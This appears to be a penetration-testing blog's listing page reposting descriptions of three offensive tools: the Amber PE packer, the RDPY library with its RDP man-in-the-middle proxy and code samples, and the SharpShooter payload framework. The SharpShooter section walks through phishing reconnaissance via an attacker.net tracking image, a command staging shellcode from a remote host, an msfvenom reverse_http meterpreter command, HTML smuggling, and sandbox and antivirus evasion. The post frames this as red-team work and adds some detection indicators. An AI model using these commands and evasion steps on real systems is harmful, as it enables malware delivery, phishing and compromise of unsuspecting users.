Learn Penetration Testing And Ethical Hacking Online.


  • Facebook
  • Popular Posts

    Showing posts with label Pentest Tool. Show all posts
    Showing posts with label Pentest Tool. Show all posts


    Amber is a tool that allows you to package PE files (Portable Execution) regularly compiled in reflective PE files and can be used as a useful payload of infection in different stages.

    I will not talk about the installation since I will do it in a next article because the Blackarch distribution brings it in its list of tools.

    When only one test is performed and an extra parameter is not passed, only the name of our file that we want to execute the packer will generate a payload of multiple stages that will perform an RC4 encryption with a certain random key, then compile into a Portable file Execution that will use some additional anti-detection functions.


    Simple example of use only applying the -k parameter specifying the length of the RC4 key that is randomly generated and the -a parameter that enabled the detection rate in VM-based malware analysis systems.

    Then I leave a brief explanation of each of the parameters that Amber has in his wiki:
    • -k / -keysize:  this parameter specifies the length of the RC4 key generated randomly.
    • -r / -reflective:  if this option  is enabled, amber generates a reflective payload that can be used in multi-stage attacks.
    • -a, -anti-analysis:  this option will enable the analysis functions in the go stub. Enabling this should decrease the detection rate in VM-based malware analysis systems.
    • -i / -iat:  When this flag is set to amber, it uses the entries in the import address table when calling the Windows API functions. (This option can be used for additional stealth against exploitation mitigations, such as Windows Defender Exploit Guard and EMET)
    • -s / -scrape:  when this indicator is set to amber, scrape some parts of the PE header in the generated file allocation. (More stealth against scanners at runtime)
    • -no-resource:  When this indicator changes to amber, do not add any resources or metadata to the output binary. (It also makes it smaller)
    • -ignore-integrity:  If this flag is set to amber, integrity check errors are ignored.
    Portable Execution (PE)
    It is a standard file format for executables, object code and DLL, which are used in their 32 and 64 bit versions in Windows operating systems. The technical PE format is structured into data that encapsulate information necessary for the Windows system loader to manage the adjusted executable code.
    It is a symmetric flow encryption scheme, it is a scheme that its encryption is quite simple and can be used in software very efficiently, however RC4 has not been considered a secure algorithm for a long time.
    Currently it is not a complete tool so some things could be broken however it is a very useful tool for packaging PE files in PE files that can be used as a payload of infection in multiple stages.
    application wiki
    Continue Reading

    RDPY is an RDP Security Tool in Twisted Python with RDP Man in the Middle proxy support which can record sessions and Honeypot functionality.
    RDPY - RDP Security Tool For Hacking Remote Desktop Protocol
    RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (client and server side). RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA authentication (through ntlmv2 authentication protocol).

    RDPY provides the following RDP and VNC binaries :
    • RDP Man In The Middle proxy which record session
    • RDP Honeypot
    • RDP screenshoter
    • RDP client
    • VNC client
    • VNC screenshoter
    • RSS Player


    RDPY is fully implemented in python, except the bitmap decompression algorithm which is implemented in C for performance purposes.


    Dependencies are only needed for pyqt4 binaries :
    • rdpy-rdpclient
    • rdpy-rdpscreenshot
    • rdpy-vncclient
    • rdpy-vncscreenshot
    • rdpy-rssplayer


    Example for Debian based systems :
    sudo apt-get install python-qt4

    OS X

    Example for OS X to install PyQt with homebrew
    $ brew install qt sip pyqt




    $ git clone https://github.com/citronneur/rdpy.git rdpy
    $ pip install twisted pyopenssl qt4reactor service_identity rsa pyasn1
    $ python rdpy/setup.py install
    Or use PIP:
    $ pip install rdpy
    For virtualenv, you will need to link the qt4 library to it:
    $ ln -s /usr/lib/python2.7/dist-packages/PyQt4/ $VIRTUAL_ENV/lib/python2.7/site-packages/
    $ ln -s /usr/lib/python2.7/dist-packages/sip.so $VIRTUAL_ENV/lib/python2.7/site-packages/
    RDPY Binaries
    RDPY comes with some very useful binaries. These binaries are linux and windows compatible.


    rdpy-rdpclient is a simple RDP Qt4 client.
    $ rdpy-rdpclient.py [-u username] [-p password] [-d domain] [-r rss_ouput_file] [...] XXX.XXX.XXX.XXX[:3389]
    You can use rdpy-rdpclient in a Recorder Session Scenario, used in rdpy-rdphoneypot.


    rdpy-vncclient is a simple VNC Qt4 client .
    $ rdpy-vncclient.py [-p password] XXX.XXX.XXX.XXX[:5900]


    rdpy-rdpscreenshot saves login screen in file.
    $ rdpy-rdpscreenshot.py [-w width] [-l height] [-o output_file_path] XXX.XXX.XXX.XXX[:3389]


    rdpy-vncscreenshot saves the first screen update in file.
    $ rdpy-vncscreenshot.py [-p password] [-o output_file_path] XXX.XXX.XXX.XXX[:5900]


    rdpy-rdpmitm is a RDP proxy allows you to do a Man In The Middle attack on RDP protocol. Record Session Scenario into rss file which can be replayed by rdpy-rssplayer.
    $ rdpy-rdpmitm.py -o output_dir [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] [-r (for XP or server 2003 client)] target_host[:target_port]
    Output directory is used to save the rss file with following format (YYYYMMDDHHMMSS_ip_index.rss) The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer If one of both parameters are omitted, the server use standard RDP as security layer.


    rdpy-rdphoneypot is an RDP honey Pot. Use Recorded Session Scenario to replay scenario through RDP Protocol.
    $ rdpy-rdphoneypot.py [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] rss_file_path_1 ... rss_file_path_N
    The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer. If one of both parameters are omitted, the server use standard RDP as security layer. You can specify more than one files to match more common screen size.


    rdpy-rssplayer is use to replay Record Session Scenario (rss) files generates by either rdpy-rdpmitm or rdpy-rdpclient binaries.
    $ rdpy-rssplayer.py rss_file_path

    RDPY Qt Widget

    RDPY can also be used as Qt widget through rdpy.ui.qt4.QRemoteDesktop class. It can be embedded in your own Qt application. qt4reactor must be used in your app for Twisted and Qt to work together. For more details, see sources of rdpy-rdpclient.

    RDPY library

    In a nutshell RDPY can be used as a protocol library with a twisted engine.

    Simple RDP Client

    from rdpy.protocol.rdp import rdp
    class MyRDPFactory(rdp.ClientFactory):
        def clientConnectionLost(self, connector, reason):
        def clientConnectionFailed(self, connector, reason):
        def buildObserver(self, controller, addr):
            class MyObserver(rdp.RDPClientObserver):
                def onReady(self):
                    @summary: Call when stack is ready
                    #send 'r' key
                    self._controller.sendKeyEventUnicode(ord(unicode("r".toUtf8(), encoding="UTF-8")), True)
                    #mouse move and click at pixel 200x200
                    self._controller.sendPointerEvent(200, 200, 1, true)
                def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
                    @summary: Notify bitmap update
                    @param destLeft: xmin position
                    @param destTop: ymin position
                    @param destRight: xmax position because RDP can send bitmap with padding
                    @param destBottom: ymax position because RDP can send bitmap with padding
                    @param width: width of bitmap
                    @param height: height of bitmap
                    @param bitsPerPixel: number of bit per pixel
                    @param isCompress: use RLE compression
                    @param data: bitmap data
                def onSessionReady(self):
              @summary: Windows session is ready
                def onClose(self):
                    @summary: Call when stack is close
            return MyObserver(controller)
    from twisted.internet import reactor
    reactor.connectTCP("XXX.XXX.XXX.XXX", 3389, MyRDPFactory())

    Simple RDP Server

    from rdpy.protocol.rdp import rdp
    class MyRDPFactory(rdp.ServerFactory):
        def buildObserver(self, controller, addr):
            class MyObserver(rdp.RDPServerObserver):
                def onReady(self):
                    @summary: Call when server is ready
                    to send and receive messages
                def onKeyEventScancode(self, code, isPressed):
                    @summary: Event call when a keyboard event is catch in scan code format
                    @param code: scan code of key
                    @param isPressed: True if key is down
                    @see: rdp.RDPServerObserver.onKeyEventScancode
                def onKeyEventUnicode(self, code, isPressed):
                    @summary: Event call when a keyboard event is catch in unicode format
                    @param code: unicode of key
                    @param isPressed: True if key is down
                    @see: rdp.RDPServerObserver.onKeyEventUnicode
                def onPointerEvent(self, x, y, button, isPressed):
                    @summary: Event call on mouse event
                    @param x: x position
                    @param y: y position
                    @param button: 1, 2, 3, 4 or 5 button
                    @param isPressed: True if mouse button is pressed
                    @see: rdp.RDPServerObserver.onPointerEvent
                def onClose(self):
                    @summary: Call when human client close connection
                    @see: rdp.RDPServerObserver.onClose
            return MyObserver(controller)
    from twisted.internet import reactor
    reactor.listenTCP(3389, MyRDPFactory())

    Simple VNC Client

    from rdpy.protocol.rfb import rfb
    class MyRFBFactory(rfb.ClientFactory):
        def clientConnectionLost(self, connector, reason):
        def clientConnectionFailed(self, connector, reason):
        def buildObserver(self, controller, addr):
            class MyObserver(rfb.RFBClientObserver):
                def onReady(self):
                    @summary: Event when network stack is ready to receive or send event
                def onUpdate(self, width, height, x, y, pixelFormat, encoding, data):
                    @summary: Implement RFBClientObserver interface
                    @param width: width of new image
                    @param height: height of new image
                    @param x: x position of new image
                    @param y: y position of new image
                    @param pixelFormat: pixefFormat structure in rfb.message.PixelFormat
                    @param encoding: encoding type rfb.message.Encoding
                    @param data: image data in accordance with pixel format and encoding
                def onCutText(self, text):
                    @summary: event when server send cut text event
                    @param text: text received
                def onBell(self):
                    @summary: event when server send biiip
                def onClose(self):
                    @summary: Call when stack is close
            return MyObserver(controller)
    from twisted.internet import reactor
    reactor.connectTCP("XXX.XXX.XXX.XXX", 3389, MyRFBFactory())
    Continue Reading
    SharpShooter - Payload Generation Framework

    SharpShooter - Payload Generation Framework

    SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS and WSF. It leverages James Forshaw’s DotNetToJavaScript tool to invoke methods from the SharpShooter DotNet serialised object. Payloads can be retrieved using Web or DNS delivery or both; SharpShooter is compatible with the MDSec ActiveBreach PowerDNS project. Alternatively, stageless payloads with embedded shellcode execution can also be generated for the same scripting formats.
    SharpShooter payloads are RC4 encrypted with a random key to provide some modest anti-virus evasion, and the project includes the capability to integrate sandbox detection and environment keying to assist in evading detection.
    SharpShooter includes a predefined CSharp template for executing shellcode with staged and stageless payloads, but any CSharp code can be compiled and invoked in memory using reflection, courtesy of CSharp’s CodeDom provider.
    Finally, SharpShooter provides the ability to bundle the payload inside an HTML file using the Demiguise HTML smuggling technique.
    SharpShooter is a weaponised payload generation framework with anti-sandbox analysis, staged and stageless payload execution and support for evading ingress monitoring. SharpShooter provides a framework to create payloads in the following Windows formats:
    • HTA
    • JS
    • JSE
    • VBA
    • VBE
    • VBS
    • WSF
    The created payloads can be used to retrieve, compile and execute arbitrary C Sharp source code. SharpShooter payloads are RC4 encrypted with a random key to provide some modest anti-virus evasion, and the project includes the capability to integrate sandbox detection and environment keying to assist in evading detection. SharpShooter targets v2, v3 and v4 of the .NET framework which will be found on most end-user Windows workstations.
    Aside from traditional anti-virus, SharpShooter has had success in bypassing “advanced endpoint protections” such as Palo Alto Traps and Bromium Isolation Analysis (where policy permits execution).
    A video of SharpShooter circumventing Palo Alto Traps to launch a meterpreter shell is shown below:
    A description of the various features of the tool are provided in subsequent sections.

    Staging and Stageless Execution

    SharpShooter supports both staged and stageless payload execution. Staged execution can occur over either HTTP(S), DNS or both. When a staged payload is executed, it will attempt to retrieve a C Sharp source code file that has been zipped and then base64 encoded using the chosen delivery technique. The C Sharp source code will be downloaded and compiled on the host using the .NET CodeDom compiler. Reflection is then subsequently used to execute the desired method from the source code. A summary of how SharpShooter operates during staging is shown in the diagram below:
    The key benefit of staging is that it provides the ability to change the executed payload in the event of failure or take down the payload following success to hide your implant which may hinder an investigation from the blue team.
    DNS delivery is achieved in conjunction with the PowerDNS tool that we described in our previous blogpost. When web delivery is selected, a web request will be performed to the URI provided through the –web command line argument.
    The CodeDom provider is a powerful means of achieving extensibility and we’ve been using it for offensive purposes, such as anti-virus evasion, for a number of years. A tweet from @buffaloverflow noted that it has also recently been adopted by malicious actors in the wild:

    One of the benefits of using CodeDom is that it offers flexibility in payload creation; you’re not just limited to shellcode execution but you have the ability to execute arbitrary C Sharp. Therefore, if you want to create a VBS file that executes Mimikatz or performs process doppelgänging, you can.
    SharpShooter provides a built-in template for executing arbitrary shellcode for both staged and stageless payloads.

    Sandbox Detection

    SharpShooter provides some rudimentary methods to detect whether the payload is being executed inside a sandbox. These techniques, with the exception of the domain keying technique, are borrowed from Brandon Arvanaghi’s CheckPlease project.
    The payload will not execute if the conditions of the selected sandbox detection techniques are met. The following techniques are available:
    • Key to Domain: the payload will only execute on a specific domain;
    • Ensure Domain Joined: the payload will only execute if the workstation is domain joined;
    • Check for Sandbox Artifacts: the payload will search the file system for artifacts of known sandbox technologies and virtualisation systems, if found the payload will not execute;
    • Check for Bad MACs: the payload will check the MAC address of the system, if the vendor matches known virtualisation software it will not execute;
    • Check for Debugging: if the payload is being debugged, it will not execute.
    These techniques can be used in conjunction with each other to assist in avoiding detection.
    To create a payload with one of these techniques, use the –sandbox argument followed by a comma separated list of techniques to apply. For example –sandbox 1=CONTOSO,2,3.

    Ingress Monitoring Evasion

    A common tactic used by defenders is to prevent potentially malicious files from entering the environment at the perimeter. This is often implemented using extension, content type or content filtering on the perimeter proxy/gateway. A powerful solution to evading this inspection was documented by Rich Warren and involves encrypting your payload then embedding it inside a HTML file. The payload is decrypted on the client-side using JavaScript. Consequently, the perimeter inspection will only every see a HTML file with the text/html content-type.
    SharpShooter optionally uses this technique to embed its payloads and provides 2 sample templates for use. SharpShooter’s implementation is almost directly borrowed from @Arno0x0x’s EmbedInHTML tool.
    To create a payload that uses HTML smuggling, use the –smuggle argument with the –template argument to select a template, e.g. –smuggle –template mcafee.

    SharpShooter by Example

    When our ActiveBreach team performs an adversary simulation, we invest heavily in reconnaissance. The reason for this is that understanding the target’s environment will pay dividends, particularly when it comes to payload creation. In order to increase your chances of success with SharpShooter when executing shellcode, two key pieces of information are essential; the target architecture and the target .NET version. Fortunately, it is often relatively trivial to find this information.
    When executing the targeting phase of a simulation, we would often look to disclose as much version information about the client-side software as possible so it can be replicated in our lab. One of our tactics for achieving this is through benign phishing; that is our phishing e-mails typically don’t contain any specific payload but are engineered to trigger call backs to our infrastructure. One such method is through externally hosted images, for example including the following in a HTML phishing e-mail will trigger a connection to download the image from the user’s mail client assuming they select the option to download remote images:
    <img src=“http://attacker.net/logo.png?uid=1234” />
    In the case of Outlook, this may cause a User-Agent similar to the following to be sent to the server:
    Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.6366; ms-office; MSOffice 16)
    There are several key pieces of information disclosed here, the most relevant for SharpShooter payloads is that the target is using a 64-bit operating system with a 32-bit Microsoft Office installation, as indicated by the WOW64 string, and the version of the .NET CLR installed.
    Similarly, we may also try to social engineer users in to opening a site under our control and obtain the same information from the user’s browser, as shown in the example below from a Widows 8.1 x64 host:
    Mozilla/5.0 (Windows NT 6.3; Win64, x64; Touch) AppleWebKit/537.36(KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0(Touch; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; H9P; InfoPath
    This information is particularly relevant to us if we want to create a payload that executes arbitrary shellcode. With the exception of HTA files due to mshta.exe being a 32-bit binary, we should always use a 64-bit shellcode when 64-bit Windows is in use.
    Where possible, our operators will also attempt to elicit as much information about the internal Active Directory as can be feasibly obtained without breaching. Amongst others, common tactics include reviewing the disclosure of FQDNs from sources such as mail headers of perimeter services.
    For example, mail headers may disclose something similar to the following:
    Received: from EXH004.contoso.com (unknown [])
    by smtp.localdomain (Service) with ESMTP id 43BD1114402;
    Tue, 27 Feb 2018 13:38:33 +0000 (GMT)

    Which would imply the internal domain is CONTOSO.
    Similarly, if we observe the target to have a perimeter Skype for Business server, we can find the domain name from the X-MS-Server-Fqdn header, as shown below:
    Armed with this knowledge, we can begin to craft a SharpShooter payload that is keyed to our target environment; i.e. nothing malicious will happen unless the payload is executed on a CONTOSO joined member system.
    If we wanted to create a JavaScript payload, that would attempt to retrieve the C Sharp payload through both DNS and Web delivery, we might use something like the following command line options:
    SharpShooter.py --payload js --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 2
    This configuration will key our payload to the CONTOSO domain using the –sandbox 1=contoso argument. The target environment supports .NET version >=3.5 therefore we can give our payload a better chance of success by specifying the correct .NET version using the –dotnetver 2 argument.
    In the above example, shellcode is read from the “csharpsc.txt” file. If we wanted to execute shellcode compliant with Cobalt Strike’s beacon or Metasploit, you could generate this by selecting “Packages > Payload Generator > Output C#” in Cobalt Strike, or using the following msfvnom command:
    msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=x.x.x.x LPORT=80 EnableStageEncoding=True PrependMigrate=True-f csharp
    The shellcode file should only contain the raw bytes, not the variable definition. For example byte[] buf = new byte[999] { 0x01, 0x02, 0x03 … would mean the shellcode file would contain just 0x01, 0x02, 0x03.
    The outcome of the aforementioned command would look as follows:
    SharpShooter will have created 3 separate files in the output directory, foo.html, foo.js and foo.payload. A brief explanation of what each of these files is, is provided below:
    foo.js is the JavaScript payload that the user will eventually execute. It contains a base64 encoded, rc4 encrypted blob which is decrypted in-memory, on execution. The decrypted payload is the DotNetToJScript code that contains the SharpShooter .NET serialised object. If you are using HTML smuggling, this file does not need to be sent to the user, it’s provided purely for information and debugging purposes.
    foo.html is the HTML file that we will ultimately coerce the user in to opening by whatever means. This file contains the encrypted copy of foo.js which is decrypted using JavaScript then served to the user using the navigator.mssaveBlob technique.
    foo.payload is the C Sharp source code that will be retrieved, compiled and executed on the target host. In this case, the file contains a harness that will execute the supplied shellcode. The source code file is zipped then base64 encoded. The file should be hosted at the URI http://www.foo.bar/shellcode.payload and on the foo.bar domain with PowerDNS running, as per the supplied command line arguments.
    The foo.html file is ultimately what we would send to the end user either via an email attachment, or by coercing them in to opening a phishing link. When opened, the user would see something similar to the following due to the McAfee template being selected:
    If the user does click to open the JavaScript file, the shellcode should be executed and the implant returned.
    A video of an end-to-end payload execution to retrieve a Cobalt Strike beacon is shown below:


    Part of being a good red teamer is understanding your tools and their indicators. This not only helps you provide better advice to the blue team and your clients but will also help you build better tools.
    When developing SharpShooter we were keen to understand what indicators were created on the host. The one that surprised us most was how the .NET CodeDom provider worked. Having used this technique successfully in the past, we were working on the premise that the source code was compiled in memory. This assumption was also a key influence on our design choice for the tool as generally we prefer to remain memory resident during adversary simulations.
    When creating a new CodeDom provider, it is necessary to supply the compiler parameters; one of which is the Boolean CompilerParameters.GenerateInMemory property, which of course is set to true in SharpShooter. This is however somewhat misleading as we discovered while monitoring the process execution and we quickly came to realise that we had misunderstood the effect of this property. The reality is that when WScript.exe or the equivalent scripting engine is executed, it in turn executes the csc.exe compiler that’s bundled with the .NET framework:
    This consequently means that the C Sharp source code is saved to disk in the user’s Temp folder. The compiler is then executed on the command line, reading the arguments from a file also saved to disk:
    As a result, it is vital to ensure that source code remains safe from anti-virus signatures; this of course is relatively trivial to achieve.
    The stageless shellcode execution does not however leave these indicators as it does not use the CodeDom provider; the serialised .NET object directly executes the shellcode itself.
    Another indicator that you should be aware of is when using staged DNS payloads. As .NET <= v4 does not contain a native DNS library for performing TXT record lookups, to maintain compatibility across versions the records are retrieved by iteratively executing nslookup.exe to read the C Sharp source code:
    A potentially telling indicator therefore would be a series of nslookup.exe calls captured through command line logging.
    Continue Reading